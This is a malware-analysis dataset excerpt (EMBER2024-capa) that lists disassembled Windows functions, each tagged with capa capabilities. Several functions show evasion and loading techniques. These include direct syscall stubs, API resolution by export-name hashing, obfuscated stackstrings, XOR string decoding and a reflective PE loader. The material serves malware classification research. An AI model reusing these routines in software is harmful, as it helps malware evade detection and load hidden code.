joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18007a880
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x18009d7c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, r8
mov dword [rsp + 0x20], 0xf0000040
mov rdi, rdx
mov rbx, rcx
xor ebp, ebp
lea rcx, [rsp + 0x38]
xor r8d, r8d
mov qword [rsp + 0x38], rbp
xor edx, edx
mov qword [rsp + 0x40], rbp
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x18007a903
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8002
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x18007a925
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18007aa10
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
call fcn.180034a80
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], ebp
mov edx, 2
mov dword [rsp + 0x20], ebp
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x10
jne 0x18007a984
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rbx
mov dword [rsp + 0x20], ebp
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x18007a994
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x18007a9a6
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x18007a908
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
or al, 0xbf
cmp dh, byte [rbx - 0x4e3df39b]
lodsq rax, qword [rsi]
mov esi, 0xb89dd9b7
add al, 0x27
insd dword [rdi], dx
int3
Function at 0x4019d8
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x1c
mov ecx, 0x11385def
call fcn.004018ef
add rsp, 0x1c
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x401c98
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x1c
mov ecx, 0x42cdb7dd
call fcn.004018ef
add rsp, 0x1c
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x401d18
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x1c
mov ecx, 0xf798ed1a
call fcn.004018ef
add rsp, 0x1c
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x401d58
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x1c
mov ecx, 0xf768efe9
call fcn.004018ef
add rsp, 0x1c
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x401d98
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x1c
mov ecx, 0x3910913
call fcn.004018ef
add rsp, 0x1c
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x1400054c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
xor esi, esi
mov rcx, qword [rcx]
lea rbx, [rdi + 0x50]
test rcx, rcx
je 0x1400054f1
xor edx, edx
mov r8d, 0x8000
call qword [rbx]
mov qword [rdi + 8], rsi
mov qword [rdi], rsi
cmp qword [rdi + 0x80], rsi
je 0x14000556c
mov rax, qword [0x140a8cc68]
mov qword [rsp + 0x38], rax
test al, al
jne 0x140005550
mov dword [rsp + 0x30], esi
mov eax, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
sub edx, 0x3e
xor edx, dword [rsp + rax*4 + 0x3c]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x3c], edx
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 1
jb 0x140005520
lea rbx, [rdi + 0x50]
mov eax, dword [rsp + 0x3c]
lea rdx, reloc.WS2_32.dll_htons
mov rcx, qword [rdi + 0x80]
call qword [rdx + rax*8]
mov qword [rdi + 0x80], rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
mov rax, qword [rbx]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
jmp rax

Function at 0x1400055f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14d, ecx
call fcn.1400055ac
mov rdx, qword [rax + 0x18]
mov rbp, qword [rdx + 0x20]
mov r11, rbp
mov rcx, r11
call fcn.1400055e8
mov r11, qword [r11]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14000567b
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x14000567b
lea rdi, [r10 + rcx]
mov ecx, dword [rdi + 0xc]
add rcx, r10
call fcn.1400055b8
mov esi, dword [rdi + 0x20]
xor ebx, ebx
add rsi, r10
mov r15d, eax
cmp dword [rdi + 0x18], ebx
jbe 0x14000567b
mov ecx, dword [rsi]
add rcx, r10
call fcn.1400055b8
add eax, r15d
cmp r14d, eax
je 0x14000569b
inc ebx
add rsi, 4
cmp ebx, dword [rdi + 0x18]
jb 0x14000565e
cmp r11, rbp
jne 0x14000561b
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
jmp 0x140005682
Function at 0x140005a94
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
mov ecx, 0x7bac0721
call fcn.1400055f0
mov ecx, 0xf477a895
mov r13, rax
call fcn.1400055f0
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x40], rax
mov dword [rbp - 0x50], 0x6c64746e
xor r15d, r15d
mov dword [rbp - 0x4c], 0x6c642e6c
mov word [rbp - 0x48], WSAGetLastError
mov dword [rbp - 0x20], 0x526c7452
mov dword [rbp - 0x1c], 0x6c6c4165
mov dword [rbp - 0x18], 0x7461636f
mov dword [rbp - 0x14], 0x61654865
mov word [rbp - 0x10], WSACleanup
call fcn.1400056b8
mov rcx, rax
lea rdx, [rbp - 0x20]
call fcn.1400056d8
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x40], 0x6c64746e
mov dword [rbp - 0x3c], 0x6c642e6c
mov word [rbp - 0x38], WSAGetLastError
mov dword [rbp - 0x30], 0x416c7452
mov dword [rbp - 0x2c], 0x636f6c6c
mov dword [rbp - 0x28], 0x48657461
mov dword [rbp - 0x24], 0x706165
call fcn.1400056b8
mov rcx, rax
lea rdx, [rbp - 0x30]
call fcn.1400056d8
mov rcx, qword [rbx]
lea edi, [r15 + 1]
mov r12, qword [rbx + 8]
mov qword [rbp + 0x50], rax
cmp dword [rcx + 0x94], r15d
jbe 0x140005ca7
mov esi, dword [rcx + 0x90]
lea edx, [rdi + 0x13]
add rsi, r12
mov rcx, rsi
call r13
test eax, eax
jne 0x140005ca7
add rsi, 0x10
mov edi, 1
cmp dword [rsi - 4], r15d
je 0x140005ca7
mov ecx, dword [rsi - 4]
mov rdx, qword [rbx + 0x38]
add rcx, r12
call qword [rbx + 0x20]
mov r14, rax
test rax, rax
je 0x140005ca4
mov ecx, dword [rbx + 0x18]
mov r15, qword [rbx + 0x10]
inc ecx
movsxd rdi, ecx
shl rdi, 3
call qword [rbp + 0x40]
mov rcx, rax
test r15, r15
je 0x140005bea
mov r9, rdi
mov r8, r15
xor edx, edx
call qword [rbp + 0x48]
jmp 0x140005bf5
mov r8, rdi
mov edx, 8
call qword [rbp + 0x50]
mov rcx, rax
test rax, rax
je 0x140005c96
mov qword [rbx + 0x10], rax
movsxd rax, dword [rbx + 0x18]
mov qword [rcx + rax*8], r14
inc dword [rbx + 0x18]
mov eax, dword [rsi - 0x10]
test eax, eax
jne 0x140005c19
mov eax, dword [rsi]
mov r15d, eax
mov edi, 1
add r15, r12
mov rax, qword [r15]
test rax, rax
je 0x140005c6b
mov edi, dword [rsi]
add rdi, r12
mov r8, qword [rbx + 0x38]
mov rcx, r14
test rax, rax
jns 0x140005c43
movzx edx, word [r15]
jmp 0x140005c4d
mov rdx, qword [r15]
add rdx, 2
add rdx, r12
call qword [rbx + 0x28]
mov qword [rdi], rax
test rax, rax
je 0x140005c88
add r15, 8
add rdi, 8
mov rax, qword [r15]
test rax, rax
jne 0x140005c31
lea edi, [rax + 1]
add rsi, 0x14
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsi - 0x10]
call r13
xor r15d, r15d
test eax, eax
je 0x140005b9a
jmp 0x140005ca7
mov rdx, qword [rbx + 0x38]
xor edi, edi
mov rcx, r14
call qword [rbx + 0x30]
jmp 0x140005ca7
mov rdx, qword [rbx + 0x38]
mov rcx, r14
call qword [rbx + 0x30]
xor edi, edi
jmp 0x140005ca7
mov edi, r15d
mov rbx, qword [rsp + 0xc8]
mov eax, edi
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005d04
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r15, rcx
mov ecx, 0x4faef192
call fcn.1400055f0
mov ecx, 0x9e5a8833
mov r12, rax
call fcn.1400055f0
mov ecx, 0xf477a895
mov rbx, rax
call fcn.1400055f0
mov ecx, 0xc9f93d32
mov rdi, rax
call fcn.1400055f0
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x20], 0x6c64746e
mov dword [rbp - 0x1c], 0x6c642e6c
mov word [rbp - 0x18], WSAGetLastError
mov dword [rbp - 0x10], 0x416c7452
mov dword [rbp - 0xc], 0x636f6c6c
mov dword [rbp - 8], 0x48657461
mov dword [rbp - 4], 0x706165
call fcn.1400056b8
mov rcx, rax
lea rdx, [rbp - 0x10]
call fcn.1400056d8
mov r13, rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140005e21
movsxd rsi, dword [r15 + 0x3c]
add rsi, r15
cmp dword [rsi], 0x4550
jne 0x140005e21
mov edx, dword [rsi + 0x50]
mov r9d, 4
mov rcx, qword [rsi + 0x30]
mov r8d, 0x3000
call rbx
mov r14, rax
test rax, rax
jne 0x140005df7
mov edx, dword [rsi + 0x50]
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x3000
call rbx
mov r14, rax
test rax, rax
je 0x140005e21
call rdi
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x38]
call r13
xor r13d, r13d
mov rdi, rax
mov rcx, r14
test rax, rax
jne 0x140005e41
xor edx, edx
mov r8d, 0x8000
call r12
xor eax, eax
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rax + 8], r14
mov r9d, 4
mov qword [rax + 0x18], r13
mov r8d, 0x1000
mov qword [rax + 0x10], r13
lea rax, [0x140005cc4]
mov qword [rdi + 0x20], rax
lea rax, [0x140005ccc]
mov qword [rdi + 0x28], rax
lea rax, [0x140005cd4]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], r13
mov edx, dword [rsi + 0x54]
call rbx
mov r8d, dword [rsi + 0x54]
mov rdx, r15
mov rcx, rax
mov rbx, rax
call qword [rbp + 0x48]
movsxd rax, dword [r15 + 0x3c]
mov r8, rdi
add rax, rbx
mov rdx, rsi
mov qword [rdi], rax
mov rcx, r15
mov qword [rax + 0x30], r14
call fcn.140005708
mov rdx, r14
sub rdx, qword [rsi + 0x30]
je 0x140005ec0
mov rcx, rdi
call fcn.1400059f8
mov rcx, rdi
call fcn.140005a94
test eax, eax
je 0x140005e21
mov rcx, rdi
call fcn.1400057fc
mov rcx, rdi
call fcn.1400059ac
mov rax, qword [rdi]
cmp dword [rax + 0x28], r13d
je 0x140005f08
mov eax, dword [rax + 0x28]
xor r8d, r8d
add rax, r14
mov rcx, r14
lea ebx, [r8 + 1]
mov edx, ebx
call rax
test eax, eax
je 0x140005e21
mov dword [rdi + 0x1c], ebx
mov rax, rdi
jmp 0x140005e23

Function at 0x140005fd8
Capabilities:
Encode data using xor

Disassembly:
movsxd r8, edx
test edx, edx
jle 0x140005feb
xor byte [rcx], 0x3a
inc rcx
sub r8, 1
jne 0x140005fdf
mov eax, 1
ret
Function at 0x140a52050
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140a8c978]
mov qword [rsp + 0x28], rax
test al, al
jne 0x140a5209c
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
movsxd rax, dword [rsp + 0x20]
mov edx, dword [rsp + 0x20]
add edx, 0x78
xor edx, dword [rsp + rax*4 + 0x2c]
movsxd rax, dword [rsp + 0x20]
mov dword [rsp + rax*4 + 0x2c], edx
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
cmp eax, 1
jb 0x140a52070
mov eax, dword [rsp + 0x2c]
lea rdx, reloc.WS2_32.dll_htonl
xor ecx, ecx
call qword [rdx + rax*8]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140a52b10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [r9 + 0x30]
mov r15, rcx
mov rcx, r9
mov rbx, r9
mov r14, r8
mov rbp, rdx
call rax
cmp eax, 0x38
jb 0x140a52c91
xor r12d, r12d
lea r13, reloc.WS2_32.dll_htonl
nop dword [rax]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
mov rsi, qword [r15 + 0x20]
call rax
mov r8, qword [rbx + 0x38]
xor edx, edx
mov rcx, rbx
mov edi, eax
call r8
mov edx, edi
mov rcx, rax
call rsi
mov edi, eax
cmp eax, 0xffffffff
je 0x140a52ca8
mov rdx, qword [rbx + 0x30]
mov rcx, rbx
call rdx
cmp eax, edi
jb 0x140a52c91
mov rdx, qword [rbx + 0x30]
mov rcx, rbx
call rdx
cmp eax, edi
jb 0x140a52c7f
test rbp, rbp
je 0x140a52c7f
mov rax, qword [0x140a8c978]
mov qword [rsp + 0x78], rax
test al, al
jne 0x140a52bfc
mov dword [rsp + 0x60], r12d
mov eax, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movsxd rax, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
add edx, 0x78
xor edx, dword [rsp + rax*4 + 0x7c]
movsxd rax, dword [rsp + 0x60]
mov dword [rsp + rax*4 + 0x7c], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x140a52bd0
mov eax, dword [rsp + 0x7c]
xor edx, edx
mov r8d, gethostname
mov rcx, rbp
call qword [r13 + rax*8]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
call rax
cmp eax, 0x38
jb 0x140a52c7f
mov r8d, gethostname
mov rdx, rbp
mov rcx, rbx
call qword [rbx + 0x20]
mov esi, dword [rbp + 0x28]
test esi, esi
je 0x140a52c6e
cmp dword [rbp + 0x2c], r12d
jne 0x140a52c7f
mov rax, qword [rbx + 0x30]
mov rcx, rbx
call rax
cmp eax, esi
jb 0x140a52c91
test r14, r14
je 0x140a52c7f
mov rax, qword [rbx + 0x38]
xor edx, edx
mov rdi, qword [r14 + 0x28]
mov rcx, rbx
call rax
mov rdx, rax
mov r8d, esi
mov rcx, r14
call rdi
mov edx, esi
mov rcx, rbx
call qword [rbx + 0x40]
mov rcx, qword [r15 + 0xa0]
mov r8, r14
mov rdx, rbp
call qword [r15 + 0x48]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
call rax
cmp eax, 0x38
jae 0x140a52b50
xor eax, eax
mov rbx, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov eax, 0xffffffff
jmp 0x140a52c93
Function at 0x140a54450
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140a8cd31]
xor esi, esi
mov rbx, qword [0x1415fc0f8]
mov qword [rbp - 0x1f], rax
mov eax, dword [0x140a8cd39]
mov dword [rbp - 0x17], eax
movzx eax, byte [0x140a8cd3d]
mov byte [rbp - 0x13], al
mov byte [rbp - 0x20], 0
mov dword [rbp + 0x10], esi
mov eax, dword [rbp + 0x10]
nop dword [rax + rax]
movsxd rax, dword [rbp + 0x10]
mov edx, dword [rbp + 0x10]
add dl, 0x7a
xor dl, byte [rbp + rax - 0x1f]
movsxd rax, dword [rbp + 0x10]
mov byte [rbp + rax - 0x1f], dl
mov eax, dword [rbp + 0x10]
inc eax
mov dword [rbp + 0x10], eax
mov eax, dword [rbp + 0x10]
cmp eax, 0xd
jb 0x140a544a0
mov rax, qword [0x140a8cd71]
mov r8, qword [0x1415fc108]
mov qword [rbp - 0x2f], rax
mov eax, dword [0x140a8cd79]
mov dword [rbp - 0x27], eax
movzx eax, byte [0x140a8cd7d]
mov byte [rbp - 0x23], al
mov byte [rbp - 0x20], 1
mov byte [rbp - 0x30], sil
mov dword [rbp + 0x10], esi
mov eax, dword [rbp + 0x10]
nop dword [rax]
movsxd rax, dword [rbp + 0x10]
mov edx, dword [rbp + 0x10]
add dl, 0x79
xor dl, byte [rbp + rax - 0x2f]
movsxd rax, dword [rbp + 0x10]
mov byte [rbp + rax - 0x2f], dl
mov eax, dword [rbp + 0x10]
inc eax
mov dword [rbp + 0x10], eax
mov eax, dword [rbp + 0x10]
cmp eax, 0xd
jb 0x140a54500
lea rcx, [rbp - 0x2f]
mov byte [rbp - 0x30], 1
call r8
lea rdx, [rbp - 0x1f]
mov rcx, rax
call rbx
mov rcx, qword [0x140a8cd51]
mov rbx, rax
mov rdi, qword [0x1415fc0f8]
mov qword [rbp - 0x3f], rcx
mov ecx, dword [0x140a8cd59]
mov dword [rbp - 0x37], ecx
mov byte [rbp - 0x40], sil
mov dword [rbp + 0x10], esi
mov ecx, dword [rbp + 0x10]
movsxd rcx, dword [rbp + 0x10]
mov edx, dword [rbp + 0x10]
movsxd rax, dword [rbp + 0x10]
add dl, 0x7b
xor dl, byte [rbp + rcx - 0x3f]
mov byte [rbp + rax - 0x3f], dl
mov eax, dword [rbp + 0x10]
inc eax
mov dword [rbp + 0x10], eax
mov eax, dword [rbp + 0x10]
cmp eax, 0xc
jb 0x140a54562
mov rax, qword [0x140a8cd61]
mov r8, qword [0x1415fc108]
mov qword [rbp - 0xf], rax
mov eax, dword [0x140a8cd69]
mov dword [rbp - 7], eax
movzx eax, byte [0x140a8cd6d]
mov byte [rbp - 3], al
mov byte [rbp - 0x40], 1
mov byte [rbp - 0x10], sil
mov dword [rbp + 0x10], esi
mov eax, dword [rbp + 0x10]
nop dword [rax + rax]
movsxd rax, dword [rbp + 0x10]
mov edx, dword [rbp + 0x10]
add dl, 0x7a
xor dl, byte [rbp + rax - 0xf]
movsxd rax, dword [rbp + 0x10]
mov byte [rbp + rax - 0xf], dl
mov eax, dword [rbp + 0x10]
inc eax
mov dword [rbp + 0x10], eax
mov eax, dword [rbp + 0x10]
cmp eax, 0xd
jb 0x140a545c0
lea rcx, [rbp - 0xf]
mov byte [rbp - 0x10], 1
call r8
lea rdx, [rbp - 0x3f]
mov rcx, rax
call rdi
mov edx, gethostname
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call rbx
mov rbx, rax
test rax, rax
je 0x140a5462b
lea rcx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, rbx
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140a54c20
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
mov rbp, rsp
sub rsp, 0x28
mov edx, 0x18
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140a54e0d
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x20], rdi
mov qword [rax], 0xffffffffffffffff
call fcn.140a54450
xor r9d, r9d
mov qword [rbx + 8], rax
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x10], rax
xor edi, edi
mov rax, qword [0x140a8cd10]
mov qword [rbp + 0x20], rax
test al, al
jne 0x140a54cc6
mov dword [rbp + 0x18], edi
mov eax, dword [rbp + 0x18]
nop word [rax + rax]
movsxd rax, dword [rbp + 0x18]
mov edx, dword [rbp + 0x18]
add edx, 0x79
xor edx, dword [rbp + rax*4 + 0x24]
movsxd rax, dword [rbp + 0x18]
mov dword [rbp + rax*4 + 0x24], edx
mov eax, dword [rbp + 0x18]
inc eax
mov dword [rbp + 0x18], eax
mov eax, dword [rbp + 0x18]
cmp eax, 1
jb 0x140a54ca0
mov eax, dword [rbp + 0x24]
lea rsi, [0x140000000]
mov rcx, qword [rbx + 8]
lea r8, [0x140a546d0]
mov edx, 1
mov byte [rbp + 0x20], 1
call qword [rsi + rax*8 + 0x15fb590]
mov rax, qword [0x140a8ccc8]
mov qword [rbp + 0x20], rax
test al, al
jne 0x140a54d26
mov dword [rbp + 0x18], edi
mov eax, dword [rbp + 0x18]
movsxd rax, dword [rbp + 0x18]
mov edx, dword [rbp + 0x18]
add edx, 0x7a
xor edx, dword [rbp + rax*4 + 0x24]
movsxd rax, dword [rbp + 0x18]
mov dword [rbp + rax*4 + 0x24], edx
mov eax, dword [rbp + 0x18]
inc eax
mov dword [rbp + 0x18], eax
mov eax, dword [rbp + 0x18]
cmp eax, 1
jb 0x140a54d00
mov eax, dword [rbp + 0x24]
lea r8, [0x140a54930]
mov rcx, qword [rbx + 8]
mov edx, 2
mov byte [rbp + 0x20], 1
call qword [rsi + rax*8 + 0x15fb590]
mov rax, qword [0x140a8ccf8]
mov qword [rbp + 0x20], rax
test al, al
jne 0x140a54d86
mov dword [rbp + 0x18], edi
mov eax, dword [rbp + 0x18]
nop dword [rax]
movsxd rax, dword [rbp + 0x18]
mov edx, dword [rbp + 0x18]
add edx, 0x7b
xor edx, dword [rbp + rax*4 + 0x24]
movsxd rax, dword [rbp + 0x18]
mov dword [rbp + rax*4 + 0x24], edx
mov eax, dword [rbp + 0x18]
inc eax
mov dword [rbp + 0x18], eax
mov eax, dword [rbp + 0x18]
cmp eax, 1
jb 0x140a54d60
mov eax, dword [rbp + 0x24]
lea r8, [0x140a54a70]
mov rcx, qword [rbx + 8]
mov edx, 3
mov byte [rbp + 0x20], 1
call qword [rsi + rax*8 + 0x15fb400]
mov rax, qword [0x140a8cd10]
mov qword [rbp + 0x20], rax
test al, al
jne 0x140a54de6
mov dword [rbp + 0x18], edi
mov eax, dword [rbp + 0x18]
nop dword [rax]
movsxd rax, dword [rbp + 0x18]
mov edx, dword [rbp + 0x18]
add edx, 0x7b
xor edx, dword [rbp + rax*4 + 0x24]
movsxd rax, dword [rbp + 0x18]
mov dword [rbp + rax*4 + 0x24], edx
mov eax, dword [rbp + 0x18]
inc eax
mov dword [rbp + 0x18], eax
mov eax, dword [rbp + 0x18]
cmp eax, 1
jb 0x140a54dc0
mov eax, dword [rbp + 0x24]
lea r8, [0x140a54bf0]
mov rcx, qword [rbx + 8]
mov edx, 5
call qword [rsi + rax*8 + 0x15fafa0]
mov rdi, qword [rsp + 0x20]
mov rax, rbx
mov rsi, qword [rsp + 0x50]
add rsp, 0x28
pop rbx
pop rbp
ret